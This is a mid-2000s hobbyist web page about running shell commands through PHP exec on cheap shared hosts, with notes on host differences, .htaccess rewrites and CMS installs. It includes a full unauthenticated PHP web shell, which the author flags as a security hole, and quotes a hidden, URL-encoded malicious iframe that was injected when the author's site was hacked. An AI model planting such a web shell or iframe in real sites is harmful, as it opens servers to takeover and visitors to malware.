My adventures with:

Running PHP 'exec' on cheap webhosts

Updated Oct, 2006: book on Postnuke, book on CSS, mod_rewrite on godaddy.

Jump to:


Intro

I have two linux-based "economy" web hosting accounts. One is with GoDaddy, the other with iPowerweb. Both allow running of .php web pages -- but neither allow shell access (there is no telnet, or no ssh access). Shell access would come in very handy to, for example, un-tar a complex php application, or to do any sort of mass-manipulation of the filesystem (ftp is generally very limited).

In my case, I wanted to install phpWebsite. The compressed tar file is an easy upload, just 1 file about 3MB. Without access to a shell, however, it was a grueling 1200 file upload...

Php allows for the execution of individual shell commands, by writing a simple php script you can do almost what you would do at a shell prompt with just slightly more cumbersome format. IT PRESENTS A HUGE SECURITY HOLE -- YOU'VE BEEN WARNED.


The script (DEPRACATED by phpshell)

UPDATE 11/11/2005: It turns out that someone else has a script that is about 100x better than what I had cobbled together, still presented below for posterity. It is called phpshell by a gentleman named Martin Geisler, the current version is 2.0. My script below is only for educational purposes. MORE UPDATES, Jan 2006: version 2.1 has built-in (i.e. within the php, not using http) authentication. This is good news because I couldn't get the http authentication to work on godaddy. I gave it a quick try and it works fine -- but the cleverness, below, won't work anymore because that was relying on http authentication.

phpshell cleverness: you can issue commands via http/GET like so, e.g. to do a "ls -l" (the scheme is same as urlencode function, also, you can use a + instead of a space rather than encoding it):

http://user:password@domain.com/phpshell/phpshell.php?command=ls%20-l

The script below, is named name.php -- once uploaded, this presents a HUGE SECURITY HOLE, and anyone knowing the url to it would be in full control of your site. So be careful. It should be used for testing only. In any event, once uploaded, you (or anyone!) would access it by browsing to:

http://yoursite.com/path/name.php

Now you can enter shell commands to you heart's delight. You should mitigate the security risks by naming it something non-obvious, and to hide it in a path somewhere -- and that directory listings on your site are turned off.

Caveats: you must make the name agree with line 7 of the script. TODO: the script really ought to create the two files used to hold the results. As it is, you may need to explicitly create the files serr.txt, and sout.txt -- and further you may need to modify the permissions so that these files are "world writable" (666). Your ftp program should be able to do all this.

<html>
<head>
<title> Tests the PHP function 'exec' </title>
</head>
<body>

<form action="name.php" method="POST" enctype="multipart/form-data">
<pre>command to exec: <input type="text" size="20" name="command" /></pre>
<p><input type="submit" value="Do exec!" /></p>
</form>

<?php
// First time through, command will be null

$command = $_POST['command'];

// this works on godaddy but on iPowerweb had to have a pre-existing
// serr.txt and sout.txt file and even had to set permissions (644 didn't work, 666 does)

if ($command != '') {
	$command = $command.' 2>serr.txt '.' > sout.txt';
	echo "Command is: <strong>$command</strong>, ";
	exec($command);
	echo "Here is Stderr output (if any): <font color=red>";
	$textfile = 'serr.txt';
	$fp = fopen( $textfile , "r" );
	while (!feof ($fp)) {
	$contents = fgets( $fp, 1024 );
	echo $contents; echo "<p>"; }
	echo "</font>";
	fclose( $fp );

	echo "<p>Here is Stdout:<p>";
	echo "<pre><table>";
	$textfile = 'sout.txt';
	$fp = fopen( $textfile , "r" );

	while (!feof ($fp)) {
		$contents = fgets( $fp, 1024 );
		echo "<tr><td>" ; echo $contents; echo "</td></tr>"; }
	echo "</table></pre>";
	fclose( $fp );
} ?>

</body>
</html>

Fun Facts

Below is a collection of info, it's interesting how it contrasts between the two. The file ownership and permissions has important ramifications for security but are generally over my head.

  GoDaddy iPowerweb
path to root of html content /home/content/u/s/e/userID/html /home/userID/public_html
owner:group of ftp'ed* files userID:inetuser userID:userID
owner:group of php-created files (same as above) www:userID
permission necessary to run a php 0600 (user readable) 0600 if owned by www
0644 if owned by userID
version of PHP (as of 9/27/'5) 4.3.11 4.3.11
database host mysql61.secureserver.net localhost
     

* GoDaddy has only ftp for file transfer. iPowerweb has, in addition, a web-based management console called vDeck. The permissions in vDeck are the same as with ftp.

Shell Commands: Most of the usual suspects work, however some of the critical ones (like tar, from GoDaddy) are missing. Other differences are just weird, for example why is sha1sum denied on iPowerweb? Here is a non-inclusive list of commands:

  GoDaddy iPowerweb
xargs yes missing
find yes denied
tar missing (major bummer!) yes
cpio missing yes
bunzip/gzip yes yes
du (list of dirs with usage) yes yes
sed yes yes
md5sum yes missing
sha1sum yes denied
whoami yes missing
     

Note that in iPowerweb, missing commands produce no output, which seems strange. On GoDaddy missing commands very sensibly say "command not found" in the stderr output.

I was so bummed out that I didn't have tar in my GoDaddy account, I bugged them but got nowhere as expected:

Response from NATHAN B.
11/09/2005 10:08 AM
Dear Ed,

Thank you for contacting customer support. Unfortunately, we do closely monitor what we allow and do not allow in our shared hosting accounts. At this time, we do not allow this functionality and do not have any information if we intend to offer it in the near future. I apologize for any inconvenience this may be causing.

Please let us know if we can help you in any other way.

Sincerely,
 
Customer (Ed) 11/09/2005 07:38 AM
Question:
hi there. Since i have no shell access to my shared hosting account, i
have been using php's exec function to issue commands. (This all works
pretty well by the way, check out a script called phpshell).

One big thing missing is tar. I don't understand why it is not available
-- it is available at my other accounts (your competitors) accounts. Is
this just an oversight?

PhpConcept PhpZip and PhpTar

Fortunately, as suggested by the phpshell guy, there is a php implementation of zip and tar by a company called PhpConcept. I got their phpzip 1.7-alpha-2 application package (the zip download seemed to have a password on it? I got the tar download an untarred it with 7zip just fine) which does both tar and zip files. First I renamed every instance of .php3 file extension to .php. Then, I initally had trouble getting it to do anything. It seems like it doesn't like Firefox, but works ok in Internet Explorer. Also, for some reason I can't figure out, it is stuck in French -- the options menu comes up but the drop-down for language selection is empty. Another little gotcha is that when uncompressing, the output directory is relative to the path where the application is installed.

I was able to untar files with phpzip. So far I haven't been able to create archives successfully, but I may just be pressing the wrong button due to my poor french :-(

updated 1/'07: works with newer Firefoxes, i am using 2.0.0.1 now. Mainly I want to use this tool to upload a zip like phplist, or joomla, and then be able to unpack it on the server instead of trying to upload the thousands of individual little files. Sometimes it work, sometimes not (timeout problems?). I have noticed that I cannot do the extract to a specified place, i just must let it extract to the default which is the folder that phpzip is installed in.


mod_rewrite and .htaccess

There is a special file used by the Apache web server which enables all sorts of trickery, its name is .htaccess

One of the special tricks that I am interested in the "rewrite engine" which allows url's to be re-written on the server side completely unbenownst to someone browsing your site. As a consequence of this trick, you can host multiple (in effect, unlimited) domains on one hosting account -- even a cheap one like Godaddy's economy linux hosting [ you are reading about this now via a Godaddy web hosting account! ].

So I have the fully-serviced domain name -- in this case azbikelaw.org, and any number of other domains that I wish to point to various subfolders. For this example I will call otherdomain.org, and I wish to redirect it to the folder otherfolder.

First, to set things up on the godaddy side, I log into the control panel for my fully serviced hosting account, and under "Domain Management" I add and alias domain of otherdomain.org . Ultimately this needs to be a domain you control to have any effect in the real world, but notice you can alias any domain you want to your fully-serviced name!

Second, you change the nameservers for otherdomain.org to point to Godaddy's. (to point out what should be obvious, you must have access to the domain records for otherdomain.org... but they don't have to be registered at Godaddy). This will take awhile to propagate. You can simulate the propagation more or less immediately by placing an entry for otherdomain.org into your hosts file and give it the IP address of the fully-serviced name.

Third, set up whatever content it is you want in otherfolder. I have tried just some static content for testing, as well as a sample mambo, postnuke, and nucleus site. They all worked but you generally need to tweak the admin control panel to give it the url of the site -- it will by default be something like www.azbikelaw.org/otherfolder/mambo,but needs to be changed to www.otherdomain.org.

Forth, edit the .htaccess (back up whatever is there first!) to turn on the rewriting, example below.

Sample .htaccess file (place in your html root directory)

# -FrontPage-

# insert this Options line to fix the FP publish problem w/rewrites
# you must also fix it is also in _vti_bin, and subfolders _vti_adm, _vti_aut
# and in any FP subwebs.
# see http://www.msfrontpage.net/fp/apache_rewite_engine_with_frontpage.htm

Options +FollowSymlinks

... other frontpage stuff skipped for brevity ...

RewriteEngine on
RewriteBase /

# Some simple rewrite for pages that moved, the [R] lets the user see new link:
RewriteRule ^ThreeFoot\.html$ /articles/ThreeFoot.html [R]
RewriteRule ^Tucson(.*)$ /articles/Tucson$1 [R]

# I don't understand this REQUEST_URI business...but it works!
# it seems to be adding an extra / to the url, and when url is not found, the 404 error file is not found, too
RewriteCond %{REQUEST_URI} !otherfolder/
RewriteCond %{HTTP_HOST} ^otherdomain.org$
RewriteRule ^(.*)$ http://azbikelaw.org/otherfolder/$1 [L]

# In the host rules you would just prepended (www\.)? before the otherdomain.org to make it
# work for either with or without www

So, if you turn on rewrite engine, it will mess up frontpage publishing. And, as mentioned in the sample .htaccess, you need to turn on Options +FollowSymlinks in four .htaccess files. If you set up subwebs, you can turn off the rewrite engine (by messing around with the .htaccess in your root), then let frontpage establish the new subweb. In the example below I have an already existing subweb at xc that I've hand-edited to work. If the new subweb is named new, you need to do these four copies:

$ cp xc/.htaccess new/
$ cp xc/_vti_bin/.htaccess new/_vti_bin/
$ cp xc/_vti_bin/_vti_adm/.htaccess new/_vti_bin/_vti_adm/
$ cp xc/_vti_bin/_vti_aut/.htaccess new/_vti_bin/_vti_aut/

 

Inexpensive Web Hosting (OBSOLETE)

First, if you are and Arizona bicyclist, please check out my pages about bikelaw.

(nearly) Free Domain and Hosting at SDF

My personal pages, including the page you are reading now, are hosted for almost free -- I say almost because it required a one-time $1 registration fee. Drawbacks: for this price, you have to live with what is called a "Unix-shell" account where you type out somewhat arcane textual command like mkhomepg -a, and transfer is accomplished one file at a time (no automated web publishing, or even FTP). Still, it's a smokin' deal. And ideal for personal usage: 10MB storage / 10MB transfer. Also, for free you get what is known as a third-level domain -- for example i selected the domain/username thegeek, so my full domain is thegeek.freeshell.org.
See http://sdf.lonestar.org to get going, or to get right into it: telnet to open an account

Paid Service / Domain Registrars

I suggest keeping your domain (technically, you are choosing a second-level domain from a fixed set of top-level domains; .com, .us, .net, .org, etc.) registration separate from your web hosting provider. In this way, if you ever have problems with hosting, you can simply move your domain elsewhere (no transfer). There are many fine domain registrars with very reasonable prices (~ $8 per year for a .com), one I have used with good prices and fine service is www.godaddy.com. I have no affiliation with godaddy.

Web Hosting Providers

I had occasion to evaluate and select providers in early 2004. There are many, many providers. Entry-level services at established business-oriented providers are charging around $20/month, often plus setup fees. This seemed high. So I went looking at several of the many lower-priced providers, and, long story short, selected iPowerweb at ~$95/yearly. [update early 2006: iPowerWeb seems to have had some security problems, including hacked accounts with and iframe insertion so at this time i cannot recommend them. Try GoDaddy]

The file was hacked, according to time/date on file, on 12.25.2005,00:01. Here is the "injected" html, it was directing to a site named www.trust4free.ws?id=index12 (presumably a malicious download), the site had been pulled for abuse, according to the isp as of February 2006:

<iframe src= http://%77%77%77%2E%74%72%75%73%74%34%66%72%65%65%2E%77%73?id=index12 frameborder="0" width="1" height="1" scrolling="no" name=counter></iframe>

 


Books

Postnuke

PostNuke Content Management by Kevin Hatch. I was most interested in chapter 17 where they present a case study of "www.sandyescapes.com" (unfortunately a phony name -- why not set it up, so we can see it live?). I found it hard to follow in the book, and figured downloading the material would clear everything up-- unforuntately the downloads for the book from the sams website only go up to chapter 13, at least the time i looked.

I was very confused about how themes work. There is something called Xanthia built in. I was able to enable/use the built-in extra themes, e.g. pnDefault, PostNuke Blue, etc but that is about it. He uses (recommends?) something called AutoTheme, AT-lite from Spidean (of which there is also a commercial version, and they sell themes). In chapter 17 he uses At-lite

I did the easy setup of postnuke through godaddy's control panel and gave it a subdomain: postnuke.azbikelaw.org It gave me version 0.7.6.2

To install a new module all you generally do is copy it under the ./modules subdirectory, and then re-generate the modules list and initialize it. Modules I would like to get/try

Installed pnTresMailer (PagEd lives here, too) which manages a mailing list and sends out "newsletters" based on a template. It can import emails from the user database which is certainly handy. Installation went fine. There aren't too many options, I'm not sure how well it would work for larger lists(?) I needed to configure it to use "alternate" email because, as far as I know I don't have access to sendmail on my web host.

CSS

CSS in 24 Hours by kynn Bartlett. He has his own site w/book downloads at http://css24.com

Useful, easy to understand CSS-based free template from http://www.freewebsitetemplates.com, i looked at the "Bike Riders Template", I was most interested in how it had nice-looking menu bar with very simple code... just a <li> and two states of background (one for normal, and one for "pressed")

Another template that seems like it would be useful is from www.tamingthebeast.net , he has a kit showing how to utilize the web include compontent in frontpage -- but it is table-based (rather than using CSS positioning) for layout.

A place called dynamicdrive.com has a library of css code samples. they also have a javascript thing called the email riddler that generates a script that helps prevent spam harvesting of your email links.


October 2006 CGI / unstable .800 Postnuke (seperate topics!)

A couple of investigations: the newer Postnuke .800-MS2 "hand install. And briefly looked into Dada mail

Godaddy -- after having absolutely no luck, i was told that economy hosting doesn't do CGI (i guess that would expain it -- i don't get why i have a cgi directory with some forms in it that was placed there by godaddy if i can't do cgi at all).

iPowerweb does support CGI, and scripts can be anywhere -- the only trick is to chmod (using an FTP client) to 755...it seems to default them to 744 when uploading something with a .cgi extension. And need to ensure the script is in "unix" format (LF only). Here is my hello.cgi script:

#!/usr/local/bin/perl
print "Content-type: text/html\n\n";
print "Hello world!\n";

Anyway, the whole cgi thing was because I wanted to try out Dada Mail. Just tweak a couple of variables in Config.pm, and upload -- then chmod the mail.cgi script. I created a directory called dada_files, the full path of which is one of the things that needs to be tweaked in config.pm...also, it appears that this directory must be chmod'ed to 777 for dada mail to work (my first try at list creation failed because dada said it couldn't create some file in the data directory -- once I made the directory 777 it worked).

In any even, Dada seems to work pretty well... the double opt-in/out is easy and elegant. The main thing I see missing is it keeps track of emails only... e.g. no names. addresses, phone numbers, and so forth (this feature is being discussed for upcoming release 2.11)

I tried phplist Right off the bat, all I could get is a 500 "server error". Poking around it seems that with godaddy you have to for some reason neutralize the .htaccess. I just renamed them...but not sure what that would do to security. So anyway, just upload the files, get rid of the .htaccess, and set up a database. The config.php file will need to be edited with the database details, and eventually you need to change the testmode flag to allow phplist to send emails (this threw me off for awhile!). The database does *not* need to be filled up. There is a web-based setup, and a default password in ./lists/admin that will init the database. I signed up for the forum with my yahoo email.

0.800 Milestone2 Postnuke

This was on Godaddy, Economy/Linux: Upload the files (takes like 1/2 hour, there are almost 3,000 little files. I ended up using the java client embedded in control panel which actually worked better than my crappy client program), and created a database with control panel. Graphical install worked great up until just after I selected the theme, step 7 -- then it throws a bunch of errors. Anyway, the site didn't work much. So I erased it and started over -- same thing. Hmmm. Then I tried a "hand install" but even though I though i had the config.php right... it claimed that "postnuke was not installed". Eventually, I hit on a good combo: I used the config.php generated by the graphical install, deleted/recreated the same named database, hand-imported database -- and it sortof works. I am having major troubles with users and can only get Admin (changed password from Password to the usual word w/o number). It is certainly a lot slicker-looking, I like the voodoodolly theme.

The error I got with the GUI install is discussed in this thread. It says the issue is fixed so I can try a later snapshot. so for now I have given up on .8, as lots of stuff is not yet ready. Moving on to trying Joomla.

Joomla

Tried both the auto-install from Godaddy's control panel, and a "hand" install of Joomla with Virtue Mart. Both work ok. Also, saw in some forum that in godaddy you can put a php.ini file in the hosting root and it will have effect (I would have doubted this, but it worked!), thus to turn off register_globals simply create a file called php.ini in the root and put this in it: register_globals= off

Wordpress

I did the one-click godaddy install of wordpress, but it is (still, as of June 2007) sortof old -- version 2.0.4. Godaddy installs this into the folder wordpress.

As an aside, I tried out Wordpress.COM (as oppsed to wordpress.org, the main site) with an id of azbikelaw, tied to my yahoo email. The two blogs there are azbikelaw.wordpress.com and mpxc.wordpress.com . Basic blogging is free which give 50Mbytes of space for uploads, and some limited control over templates. There are paid options to remove various restrictions.

So, I did a manual install of Wordpress version 2.2 using the standard procedures (it's in blog, admin):

  1. downloaded a zip from wordpress.org it is quite small, less than 1MByte
  2. upload zip to my site in a temp folder, and try to unzip via phpzip -- this appeared to work but failed silently :-(
  3. unzipped locally and ftp'ed the unzipped tree -- this took like over a half-hour(! i must need a better ftp client)
  4. hand edit the file wp-config.php with details of a database I created via the godaddy control panel.
  5. run the install script wp-admin/install.php, which simply fills up an empty database and creates an admin password. I immediately created another administrator user of the usual id and password.

I tried out the export/import function (now in 2.2, wasn't in 2.0.4) by exporting from my wordpress.org blog and importing it to my new own blog. That seemed to work okay -- it carries entries and comments, but not the stuff dealing with template/presentation.

I did have problems with "permalinks" -- this gives nicer URLs to the posts. The problem is some sort of contention between subdomains (I was using the subdomain blog ), and the .htaccess file. As a result, I gave up on using the subdomain, and the permalinks work fine. There seems to be some urban legends on the web that Godaddy’s economy linux hosting does not have mod_rewrite. But I am positive that it does, at least since Fall of 2006, anyway.

 


Stuff to look into:

can I exec shell scripts?

Why don't compound commands work, e.g. "cd ..;ls" doesn't seem to produce the expected result -- it is as if the first command is ignored, or has no effect...but why?

Here is a script that dumps a list (twice) of all supported php function -- the list w/links to php reference material is very handy:

<html>
<head>
<title>PHP Basic Test</title>
</head>
<body>
<?php echo "Hello World<p><p>"; ?>
<?php echo $_SERVER["HTTP_USER_AGENT"]; ?>
<?php echo "<p>"; ?>

<?php
// try to see if the exec function works:
// outputs the username that owns the running php/httpd process
// (on a system with the "whoami" executable in the path)
echo "Result of Whoami->";
echo exec('whoami');
echo "<p>";
?>

<?php
echo "<strong>Table of all supported php functions:</strong><p>";
echo "<pre>";
$arr = get_defined_functions();
print_r($arr);
echo "</pre>";
?>

<?php // this was a user-contributed function at php.net
echo "<strong>Table of all supported php functions w/links to manual:</strong><p>";
$manref = "http://www.php.net/manual/en/function";
$arr = get_defined_functions();
while (list($type,$list) = each($arr)) {
if ($type == "internal" && is_array($list)) {
sort($list);
foreach ($list as $func) {
if ($func == "_")
$func2 = "gettext";
else
$func2 = preg_replace("/_/", "-", $func);
echo "<a href=\"$manref.$func2.php\">$func</a><br>\n";
}
}
}
?>

</body>
</html>

d